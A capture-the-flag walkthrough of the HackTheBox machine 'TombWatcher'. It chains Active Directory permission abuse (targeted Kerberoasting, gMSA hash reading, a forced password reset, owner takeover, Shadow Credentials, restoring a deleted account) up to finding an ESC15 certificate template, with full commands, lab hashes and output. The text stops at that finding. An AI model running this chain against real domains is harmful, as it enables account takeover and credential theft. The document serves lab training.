TombWatcher – HackTheBox Link to heading
- OS: Windows
- Difficulty : Medium
- Platform: HackTheBox
![]()
Summary Link to heading
“TombWatcher” is a Medium difficulty machine from HackTheBox platform focused on Active Directory (AD). This machine is an excellent box to learn how to leverage and attack DACLs in an AD domain. First, we start with a given user that has WriteSPN rights over other user. This allow us to perform a Targeted Kerberoasting attack and extract a hash for this user; which we are able to crack. This second user can add itself to a group that has ReadGMSAPassword rights over a service account, which allow us to read its NTLM hash and take control of the service account. This service account has the option to change the password of a third user. This third user can convert itself as the owner of a fourth user, which allow us to grant ourselves GenericAll permissions and obtain the NTLM hash for this fourth user. This fourth user has GenericAll permissions over a GPO related with Active Directory Certificate Services (AD CS). We add that fourth user with full permissions over the GPO, which allow us re-active a user that was “deleted” in the domain and retrieve its credentials throughout a Shadow Credentials attack. This final deleted user had privileges over AD CS service, which allow us to perform an ESC15, obtain the NTLM hash for Administrator user and compromise the domain.
henry / H3nry_987TGV!User Link to heading
We start with a quick Nmap scan searching for open TCP ports:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.205.50
Among the open ports we find: 53 DNS, 80 HTTP, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 SMB, 5985 WinRM; among others. We apply some recognition scripts over these ports using -sVC flag:
❯ sudo nmap -sVC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49677,49678,49679,49695,49707,49721 10.129.205.50
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-08 17:35 -04
Nmap scan report for 10.129.205.50
Host is up (0.50s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-09 01:35:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2025-06-09T01:37:31+00:00; +3h59m59s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-09T01:37:32+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-09T01:37:31+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2025-06-09T01:37:32+00:00; +3h59m59s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
49721/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-06-09T01:36:51
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 3h59m58s, deviation: 0s, median: 3h59m58s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.92 seconds
Based on open ports we can see that we are against an Active Directory environment.
Use NetExec against SMB service to get some information about the domain and the target machine:
❯ nxc smb 10.129.205.50
SMB 10.129.205.50 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
We get a machine name DC01 (we assume it is the Domain Controller), a domain tombwatcher.htb and, therefore, a FQDN DC01.tombwatcher.htb.
Add the machine name, FQDN and domain to /etc/hosts file in our attacker machine:
❯ echo '10.129.205.50 DC01 DC01.tombwatcher.htb tombwatcher.htb' | sudo tee -a /etc/hosts
We can also see that port 80 HTTP. Use WhatWeb against that port to check technologies being used by the we server:
❯ whatweb -a 3 http://tombwatcher.htb
http://tombwatcher.htb [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.129.205.50], Microsoft-IIS[10.0], Title[IIS Windows Server], X-Powered-By[ASP.NET]
The scan shows that the web server is running with Microsoft IIS service.
If we visit http://tombwatcher.htb it just shows the default site for Microsoft IIS. We don’t see anything interesting at the moment.
We started with provided credentials for this box: user henry and password H3nry_987TGV!. Use these credentials to check if we can see any interesting shares at SMB service using NetExec:
❯ nxc smb 10.129.205.50 -u 'henry' -p 'H3nry_987TGV!' --shares
SMB 10.129.205.50 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.129.205.50 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
SMB 10.129.205.50 445 DC01 [*] Enumerated shares
SMB 10.129.205.50 445 DC01 Share Permissions Remark
SMB 10.129.205.50 445 DC01 ----- ----------- ------
SMB 10.129.205.50 445 DC01 ADMIN$ Remote Admin
SMB 10.129.205.50 445 DC01 C$ Default share
SMB 10.129.205.50 445 DC01 IPC$ READ Remote IPC
SMB 10.129.205.50 445 DC01 NETLOGON READ Logon server share
SMB 10.129.205.50 445 DC01 SYSVOL READ Logon server share
But we don’t see any interesting shares besides the ones that comes by default.
We can use Microsoft RPC service along with rpcclient to get a complete list of the users in the domain:
❯ rpcclient -U 'henry%H3nry_987TGV!' tombwatcher.htb -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}'
Administrator
Guest
krbtgt
Henry
Alfred
sam
john
and store them into a file:
❯ rpcclient -U 'henry%H3nry_987TGV!' tombwatcher.htb -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}' > domain_users.txt
But none of these users are vulnerable toan AS-REP Roasting attack:
❯ impacket-GetNPUsers tombwatcher.htb/henry:'H3nry_987TGV!' -usersfile domain_users.txt -dc-ip 10.129.205.50
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User Henry doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Alfred doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sam doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User john doesn't have UF_DONT_REQUIRE_PREAUTH set
At this point we can use the credentials provided along with bloodhound-python to get a map about the domain:
❯ bloodhound-python -c ALL -u 'henry' -p 'H3nry_987TGV!' -d tombwatcher.htb -ns 10.129.205.50 --zip
INFO: Found AD domain: tombwatcher.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb
INFO: Done in 00M 59S
INFO: Compressing output into 20250608180427_bloodhound.zip
We then upload the generated .zip file and upload into Bloodhound. In my case I use the Community Edition, or CE. Once uploaded, we search for henry user, go to the tab Outbound Object Control at the right side and click on it. We can see that we have WriteSPN right over another user called alfred:

We can abuse this permission from a Linux machine (our attacker machine) using the tool targetedKerberoast.py, that can be downloaded from its Github repository. First, clone the repository, create a virtual environment for the tool and install all the needed dependencies in the virtual environment:
❯ git clone https://github.com/ShutdownRepo/targetedKerberoast.git -q
❯ cd targetedKerberoast
❯ python3 -m venv .venv_targetedKerb
❯ source .venv_targetedKerb/bin/activate
❯ pip3 install -r requirements.txt
<SNIP>
Once we have installed all the dependencies, use this tool to extract the hash for alfred user:
❯ python3 targetedKerberoast.py -vv -d 'tombwatcher.htb' -u 'henry' -p 'H3nry_987TGV!' --request-user 'alfred' --dc-ip 10.129.205.50
[*] Starting kerberoast attacks
[*] Attacking user (alfred)
[DEBUG] {'Alfred': {'dn': 'CN=Alfred,CN=Users,DC=tombwatcher,DC=htb', 'spns': []}}
[!] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
<SNIP>
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
We get the error KRB_AP_ERR_SKEW(Clock skew too great), which is due to the difference between the time of our attacker machine with the time of the victim machine.
To fix this little issue, we can use faketime and ntpdate tools , which can be installed with:
sudo apt update -y && sudo apt install faketime ntpdate -y
Once installed, use this tool along with targetedKerberoast.py:
❯ faketime "$(ntpdate -q tombwatcher.htb | cut -d ' ' -f 1,2)" python3 targetedKerberoast.py -vv -d 'tombwatcher.htb' -u 'henry' -p 'H3nry_987TGV!' --request-user 'alfred' --dc-ip 10.129.205.50
[*] Starting kerberoast attacks
[*] Attacking user (alfred)
[DEBUG] {'Alfred': {'dn': 'CN=Alfred,CN=Users,DC=tombwatcher,DC=htb', 'spns': []}}
[DEBUG] User (Alfred) has no SPN, attempting a targeted Kerberoasting now
[VERBOSE] SPN added successfully for (Alfred)
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$901e8dc2d81d885df34562751e22b5d1$650fce1223bc19db9b0686a64ed7e303f9018dd8678b5d4790f8954a254467208a5b7626ecb72c5fed582e3c2eb7b88d40159a6363d28f7067dfa30da224ca84c0c8129aee7158f497591f7a9217a909076e36f7ded1804f44450a3ee7e01dd8664e15a2f0107670e2b214134b19b355509f4b2e4825d75f9871434efd0a78d5040adf2efc712b1be4549e6ef12b54396c4f977fe0cb5d55507cec6c86c5ce35b77778b620b015ce81305f713edfb4ca0841b0cbeaa38fa3b4f2ce5771a962500181199359a585b17d5430773b8cf29d78aa203686e7f15f5795c1e3aefeefd21c8316e6e04b2fe8bd683fcbc8bb219b6bdd732d3ab1b9f770877af349d03f59e2476c12ebaa9d7722d6f0898eb964e3020d159c16c4b67106cb0e964a837aa18ee7932e2adc5e777ea9a22da5607c8c64d4eef49edea9834b68a264132555225bdac3c23f50b9546deeea552ac77b9512fe9b82712cbc973b47573723a7b8e17350cbd47bea20f8a9b7b6bf2cdeb6d24ceb6fba3d832b470a46191af0ab071ad33332040b29c308ab4ac5777daff13ef53b27001ec834046718e5f49b877ffacc28348854000318d0f81ad724facd8b7e0e174d35f9341cf002916029902c0cac28147992606c96573fc0c2763e9ac1c05172c5b443663df9e9fd578e36d1f4f2922448300b46f30c062928da752ee929bc0ec192d89a3a4226c4961132064d1579c041c06aa83fbdb2fe704cadbf027d305083094c45b51d236239ab23954ec4dbfcd8bb872c4984b39da0ef96c2467acea2cc635c519128944346421ffee4a3c95a6aea67e32b203c03e40bc85caf51899b25f819e4103ed64fd2d49b6b9afa9434ea2ea9b468635e9f74b7f4c2bf4ce2362423bed92b4fef98baa44582ac9fc0a76ecc410f6c5d03114359ea56991c948a5c2262d887e8898563d70e72ea2e0789bb5e9559757ef9b2972d92d82aaa841a86515c1d1516cdd5ff9706a65a412b0d676ee4cfebb3a4ca53b2a7cbd197d27f4efc20fb6b677290a1334a7a89431541e1dd5fff6d54277df158993dfb9cbc96f90d938907ad3a7b41a2665dce6fa1d5e6b92adc225d8982ea93ba3974ad97b70d1c31b253096618f2a5bddfc271ed6cac02e30c0a686a08abf13892f72ab1188f81496a547568bea96c50bb0d6bfbef578dc0798e001b4b51c5166a3c975372f0565d1e8ba2066ef15c255625111eb87d903a5846eea9a964a9a678a7211ff001789aec07546f55c6d6a1cd0a7e3a302cbf264f4076342b8483b4f61510bd3ca9cdfc74cb593ca8ef084e912bed488ffc354ec96e16993f1485dcc3863ed522e29a15b21055b382bbe4723088ad90e50c78438db1e4837a88b354a9e9e2d1f5c6a0becb646d337f9003b39bf5fba4b1c84c4f81761d441d9a9af0631cc10dbbd834120d6065c4a49739bfb977774eae79b73ab23986693db5e32464a84f462d0e96
[VERBOSE] SPN removed successfully for (Alfred)
Or we can also run this tool to directly save the hash into a file to crack it with, for example, JohnTheRipper (john):
❯ faketime "$(ntpdate -q tombwatcher.htb | cut -d ' ' -f 1,2)" python3 targetedKerberoast.py -vv -d 'tombwatcher.htb' -u 'henry' -p 'H3nry_987TGV!' --request-user 'alfred' --dc-ip 10.129.205.50 -o targeteKerb_hashes -f john
[*] Starting kerberoast attacks
[*] Attacking user (alfred)
[DEBUG] {'Alfred': {'dn': 'CN=Alfred,CN=Users,DC=tombwatcher,DC=htb', 'spns': []}}
[DEBUG] User (Alfred) has no SPN, attempting a targeted Kerberoasting now
[VERBOSE] SPN added successfully for (Alfred)
[+] Writing hash to file for (Alfred)
[VERBOSE] SPN removed successfully for (Alfred)
Then, attempt a Brute Force Password Cracking with john using rockyou.txt password dictionary:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt targeteKerb_hashes
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
basketball (Alfred)
1g 0:00:00:00 DONE (2025-06-08 18:38) 7.692g/s 9846p/s 9846c/s 9846C/s 123456..poohbear1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We get credentials: alfred:basketball.
Check if these credentials works for alfred user in the domain with NetExec:
❯ nxc smb 10.129.205.50 -u 'alfred' -p 'basketball'
SMB 10.129.205.50 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.129.205.50 445 DC01 [+] tombwatcher.htb\alfred:basketball
They are valid.
Back to Bloodhound and checking permissions of this new user, we can see that alfred has AddSelf permissions to Infrastructure group. At the same time, members of Infrastructure group have ReadGMSAPassword permission over ansible_dev$ account. The path therefore is:

The plan is simple: add ourselves (alfred user) to Infrastructure group. Once added to this group, we will have the permissions to read the NT hash of the group Managed Service Accounts (gMSA) account ansible_dev$.
Add ourselves to Infrastructure group using bloodyAD:
❯ bloodyAD -d tombwatcher.htb --host DC01.tombwatcher.htb -u 'alfred' -p 'basketball' add groupMember 'Infrastructure' 'alfred'
[+] alfred added to Infrastructure
and then, use NetExec along with its ldap module to read the NT hash for the gMSA account:
❯ nxc ldap DC01.tombwatcher.htb -u alfred -p 'basketball' --gmsa
LDAP 10.129.205.50 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
LDAPS 10.129.205.50 636 DC01 [+] tombwatcher.htb\alfred:basketball
LDAPS 10.129.205.50 636 DC01 [*] Getting GMSA Passwords
LDAPS 10.129.205.50 636 DC01 Account: ansible_dev$ NTLM: 1c37d00093dc2a5f25176bf2d474afdc PrincipalsAllowedToReadPassword: Infrastructure
We get an NT hash for ansible_dev$ account: 1c37d00093dc2a5f25176bf2d474afdc.
andible_dev$ account has ForceChangePassword over sam account as we can see at Bloodhound:

This means that we can change the password of this user.
We can use again bloodyAD for this purpose. To perform a Pass The Hash with bloodyAD (since we just have the NT hash for ansible_dev$ account, no its plain text password) we can just use -p ':<NT hash>':
❯ bloodyAD --host 10.129.205.50 -d tombwatcher.htb -u 'ansible_dev$' -p ':1c37d00093dc2a5f25176bf2d474afdc' set password sam 'gunzf0x123$!'
[+] Password changed successfully!
and check that the password has been successfully changed with NetExec:
❯ nxc smb 10.129.205.50 -u sam -p 'gunzf0x123$!'
SMB 10.129.205.50 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.129.205.50 445 DC01 [+] tombwatcher.htb\sam:gunzf0x123$!
It’s been changed. We are good to go.
sam has WriteOwner permissions over john user:

The idea here is simple:
- Change the owner of a
johnuser. - Since we are the owner of this new user, we can add ourselves
DACLs(permissions) such asFullControl(GenericAll). - With
FullControlwe can perform an attack over the target user such asShadow Credentials.
First, set ourselves (sam user) as the new owner of john user. We can use bloodyAD for this purpose:
❯ bloodyAD --host 10.129.205.50 -d tombwatcher.htb -u sam -p 'gunzf0x123$!' set owner 'john' 'sam'
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john
Then, we need to gran ourselves (sam user) FullControl (or GenericAll) permissions over john user. For this purpose we need to get john’s distinguishedName, or DN. Use again bloodyAD to get all the properties for john, filtering by distinguishedName with grep:
❯ bloodyAD --host 10.129.205.50 -d tombwatcher.htb -u 'sam' -p 'gunzf0x123$!' get object 'john' | grep distinguishedName
distinguishedName: CN=john,CN=Users,DC=tombwatcher,DC=htb
Once we have obtained DN for john, use it along with bloodyAD to grant sam GenericAll permissions over john user:
❯ bloodyAD --host 10.129.205.50 -d 'tombwatcher.htb' -u 'sam' -p 'gunzf0x123$!' add genericAll 'CN=john,CN=Users,DC=tombwatcher,DC=htb' 'sam'
[+] sam has now GenericAll on CN=john,CN=Users,DC=tombwatcher,DC=htb
Then, since now we have GenericAll permissions over john user as sam user, perform a Shadow Credentials attack using Certipy (along with faketime to avoid clock issues) to get the NT hash for john user:
❯ faketime "$(ntpdate -q tombwatcher.htb | cut -d ' ' -f 1,2)" certipy shadow auto -username sam@tombwatcher.htb -p 'gunzf0x123$!' -account 'john' -dc-ip 10.129.205.50
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'john'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'ec3ee8b4-93ce-184d-2c9c-0aaaf8b9c65b'
[*] Adding Key Credential with device ID 'ec3ee8b4-93ce-184d-2c9c-0aaaf8b9c65b' to the Key Credentials for 'john'
[*] Successfully added Key Credential with device ID 'ec3ee8b4-93ce-184d-2c9c-0aaaf8b9c65b' to the Key Credentials for 'john'
[*] Authenticating as 'john' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'john@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'john.ccache'
[*] Wrote credential cache to 'john.ccache'
[*] Trying to retrieve NT hash for 'john'
[*] Restoring the old Key Credentials for 'john'
[*] Successfully restored the old Key Credentials for 'john'
[*] NT hash for 'john': ad9324754583e3e42b55aad4d3b8d2bf
We get an NT hash for john user: ad9324754583e3e42b55aad4d3b8d2bf.
As we can see at Bloodhound, john user is part of Remote Management Users group. This means this user can log into the victim machine using WinRM service. For this purpose we use evil-winrm and get access to the victim machine:
❯ evil-winrm -i DC01.tombwatcher.htb -u 'john' -H 'ad9324754583e3e42b55aad4d3b8d2bf'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\john\Documents>
We can grab the user flag at john’s Desktop.
NT Authority/System - Administrator Link to heading
Back to Bloodhound, we can check john permissions over other objects in the domain. We find that john user has GenericAll permissions over an Organizational Unit (OU) called ADCS, which is clearly a hint about Active Directory Certificate Services (or AD CS). At Bloodhound we can see some information about this OU:

We can abuse GenericAll permissions over this OU to force that a user has control of all the objects in the OU. We can do this using dacledit.py from Impacket, passing the DN for the OU (which is shown at Bloodhound):
❯ impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'john' -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' tombwatcher.htb/john -hashes ':ad9324754583e3e42b55aad4d3b8d2bf'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20250608-201206.bak
[*] DACL modified successfully!
and then look for certificates with Certipy:
❯ certipy find -username john@tombwatcher.htb -hashes ':ad9324754583e3e42b55aad4d3b8d2bf' -dc-ip 10.129.205.50 -stdout
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Failed to lookup object with SID 'S-1-5-21-1392491010-1358638721-2126982587-1111'
[*] Enumeration output:
Certificate Authorities
<SNIP>
What calls our attention is that there is an SID of a user that is not recognized with SID:
S-1-5-21-1392491010-1358638721-2126982587-1111
There are more certificates that points to this user in the output:
❯ certipy find -username john@tombwatcher.htb -hashes ':ad9324754583e3e42b55aad4d3b8d2bf' -dc-ip 10.129.205.50 -stdout
<SNIP>
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-16T00:57:49+00:00
Template Last Modified : 2024-11-16T17:07:26+00:00
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
S-1-5-21-1392491010-1358638721-2126982587-1111
Object Control Permissions
Owner : TOMBWATCHER.HTB\Enterprise Admins
Full Control Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
S-1-5-21-1392491010-1358638721-2126982587-1111
<SNIP>
Since we have access to the victim machine through evil-winrm as john user, we can inspect if we have any “deleted” users in the system based on this forum post:
*Evil-WinRM* PS C:\Users\john\Documents> Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects -Properties objectSid, lastKnownParent, ObjectGUID | Select-Object Name, ObjectGUID, objectSid, lastKnownParent | Format-List
Name : cert_admin
DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectGUID : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1109
lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1110
lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1111
lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
We get a user cert_admin, whose SID matches S-1-5-21-1392491010-1358638721-2126982587-1111, the SID that was not recognized previously.
Also, we can see that it’s last “known parent” was at the OU ADCS. Since john user had GenericAll permissions over the OU ADCS, an this user was a “child” of that OU, try to restore this user using cert_admin’s ObjectGUID based on this post:
*Evil-WinRM* PS C:\Users\john\Documents> Restore-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf'
and, right after that, we re-run bloodhound-python but also using faketime to avoid clock issues to see if we have permissions over this new restored user:
❯ faketime "$(ntpdate -q tombwatcher.htb | cut -d ' ' -f 1,2)" bloodhound-python -c ALL -u 'john' --hashes ':ad9324754583e3e42b55aad4d3b8d2bf' -d tombwatcher.htb -ns 10.129.199.236 --zip
INFO: Found AD domain: tombwatcher.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb
INFO: Done in 01M 03S
INFO: Compressing output into 20250609004624_bloodhound.zip
If we take a look to the new map in Bloodhound and search for john user, we can now see that this user has GenericAll permissions over a second user called cert_admin, the user we have just restored:

We can then attempt a Shadow Credentials attack as we have previously seen. But this time impersonating john user and targeting cert_admin user:
❯ faketime "$(ntpdate -q tombwatcher.htb | cut -d ' ' -f 1,2)" certipy shadow auto -username john@tombwatcher.htb -hashes ':ad9324754583e3e42b55aad4d3b8d2bf' -account 'cert_admin' -dc-ip 10.129.205.50
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'cert_admin'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '69528154-02f6-5024-ec17-e8ce02d9728d'
[*] Adding Key Credential with device ID '69528154-02f6-5024-ec17-e8ce02d9728d' to the Key Credentials for 'cert_admin'
[*] Successfully added Key Credential with device ID '69528154-02f6-5024-ec17-e8ce02d9728d' to the Key Credentials for 'cert_admin'
[*] Authenticating as 'cert_admin' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'cert_admin@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'cert_admin.ccache'
[*] Wrote credential cache to 'cert_admin.ccache'
[*] Trying to retrieve NT hash for 'cert_admin'
[*] Restoring the old Key Credentials for 'cert_admin'
[*] Successfully restored the old Key Credentials for 'cert_admin'
[*] NT hash for 'cert_admin': f87ebf0febd9c4095c68a88928755773
We get an NT hash for cert_admin user: f87ebf0febd9c4095c68a88928755773.
As we have done previously, look for certificates using Certipy, but this time impersonating cert_admin user:
❯ faketime "$(ntpdate -q tombwatcher.htb | cut -d ' ' -f 1,2)" certipy find -username cert_admin@tombwatcher.htb -hashes ':f87ebf0febd9c4095c68a88928755773' -dc-ip 10.129.205.50 -vulnerable -enabled
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250609010150_Certipy.txt'
[*] Wrote text output to '20250609010150_Certipy.txt'
[*] Saving JSON output to '20250609010150_Certipy.json'
[*] Wrote JSON output to '20250609010150_Certipy.json'
And check if we get any vulnerable certificates:
❯ cat 20250609010150_Certipy.txt | grep -E 'CA Name|Template Name|ESC'
CA Name : tombwatcher-CA-1
Template Name : WebServer
ESC15 : Enrollee supplies subject and schema version is 1.
ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
We get one for Escalation 15 (ESC15). The CA Name is tombwatcher-CA-1 and the vulnerable template is WebServer, we will need those values later.
